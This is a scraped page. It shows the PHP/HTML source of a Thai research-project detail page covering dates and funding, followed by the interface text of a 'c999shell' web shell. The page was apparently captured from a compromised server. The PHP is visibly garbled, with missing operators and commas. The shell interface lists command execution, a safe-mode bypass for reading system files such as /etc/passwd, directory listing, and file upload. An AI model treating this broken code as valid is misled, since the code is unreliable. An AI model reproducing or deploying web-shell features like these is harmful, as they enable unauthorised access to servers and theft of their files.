                          </tr> -->
                        </table></td>
                      </tr>
                      <tr>
                        <td align="right" valign="top" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ปี พ.ศ </a></td>
                        <td bgcolor="#FFFFFF">:</td>
                        <td align="left" bgcolor="#FFFFFF"><? echo $rss1['Year_prop']; ?></td>
                      </tr>
                      <tr>
                        <td align="right" valign="top" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ปีการศึกษา</td>
                        <td bgcolor="#FFFFFF">:</td>
                        <td align="left" bgcolor="#FFFFFF"><? echo $rss1['academic_year_finish']; ?></td>
                      </tr>
                      <tr>
                        <td align="right" valign="top" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ปีงบประมาณ</td>
                        <td bgcolor="#FFFFFF">:</td>
                        <td align="left" bgcolor="#FFFFFF"><? echo $rss1['fiscal_year_finish']; ?></a></td>
                      </tr>
                      <tr>
                        <td height="24" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">วัน/เดือน/ปีที่เริ่ม</td>
                        <td bgcolor="#FFFFFF">:</td>
                        <td align="left" bgcolor="#FFFFFF"><?php  
                $sday 
=  $rss1['Year_start'];
                
$yearthai explode"-"$sday );
                
$day intval$yearthai[2] );
                
$month intval$yearthai[1] );
                
$year intval$yearthai[0] );     
                
$m getThaiSubMonth$month );
                echo 
$day ." "$m ." "$year;
            
?></a></td>
                      </tr>
                      <tr>
                        <td height="24" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">วัน/เดือน/ปี ที่แล้วเสร็จ</td>
                        <td bgcolor="#FFFFFF">:</td>
                        <td align="left" bgcolor="#FFFFFF"><?php  
                $sday 
$rss1['Year_finish'];
                
$yearthai explode"-"$sday );
                
$day intval$yearthai[2] );
                
$month intval$yearthai[1] );
                
$year intval$yearthai[0] );     
                
$m getThaiSubMonth$month );
                echo 
$day ." "$m ." "$year;
            
?>
                          </a></td>
                      </tr>
                      <tr>
                        <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">วัน/เดือน/ปี ที่เผยแพร่</td>
                        <td bgcolor="#FFFFFF">:</td>
                        <td align="left" bgcolor="#FFFFFF"><?php  
                $sday 
=  $rss1['Year_sprop'];
                
$yearthai explode"-"$sday );
                
$day intval$yearthai[2] );
                
$month intval$yearthai[1] );
                
$year intval$yearthai[0] );     
                
$m getThaiSubMonth$month );
                echo 
$day ." "$m ." "$year;
            
?></a></td>
                      </tr>
                      <tr>
                        <td align="right" valign="top" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">แหล่งเงินทุน</td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td align="left" bgcolor="#FFFFFF"><table width="98%" border="0" cellspacing="1" cellpadding="1">
                          <tr>
                            <td width="21%" align="left"><input name="Fund_resourceIn" type="checkbox" id="Fund_resourceIn" <?php if (!strcmp("$rss1[Fund_resourceIn]","ภายใน") ) {echo "checked";} ?>  value="ภายใน" <?php if( $_GET['Fund_resourceIn'] == "ภายใน" ) echo 'checked'?> onclick="checkAssign1(this,form1.FundIn)" /> ภายใน</td>
                            <td width="79%" align="left">จำนวนเงิน
                              <input name="FundIn" type="text" class="input" id="FundIn" value="<? echo $rss1['FundIn'];?>" size="10" style="text-align:right; padding-right:5px" onkeypress="checkNumeric()" /> บาท</td>
                          </tr>
                          <tr>
                            <td align="left"><input name="Fund_resourceOut" type="checkbox" id="Fund_resourceOut"  <?php if (!strcmp("$rss1[Fund_resourceOut]","ภายนอก") ) {echo "checked";} ?> value="ภายนอก" <?php if( $_GET['Fund_resourceOut'] == "ภายนอก" ) echo 'checked'?> onclick="checkAssign1(this,form1.FundOut ,form1.Resource_des )" />ภายนอก</td>
                            <td align="left">จำนวนเงิน
                              <input name="FundOut" type="text" class="input" id="FundOut" size="10" value="<? echo $rss1['FundOut'];?>" style="text-align:right; padding-right:5px" onkeypress="checkNumeric()" /> 
                              บาท ระบุ</a> <? echo $rss1['Resource_des'];?>
                              </a></td>
                          </tr>
                          <tr>
                            <td align="left"><span class="TEXT-DARK-BLUE10"> รวมจำนวนเงินทุน</a></td>
                            <td align="left"><input name="Fund" id="Fund" type="text" size="10" style="text-align:right; padding-right:5px" value="<? echo $rss1['FundUse'];?>" onkeypress="checkNumeric()" disabled= "disabled"/>
บาท</td>
                          </tr>
                        </table></td>
                      </tr>
                      <tr>
                        <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td align="left" bgcolor="#FFFFFF">&nbsp;</td>
                      </tr>
            </table></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr></form>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result0);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0156 ]--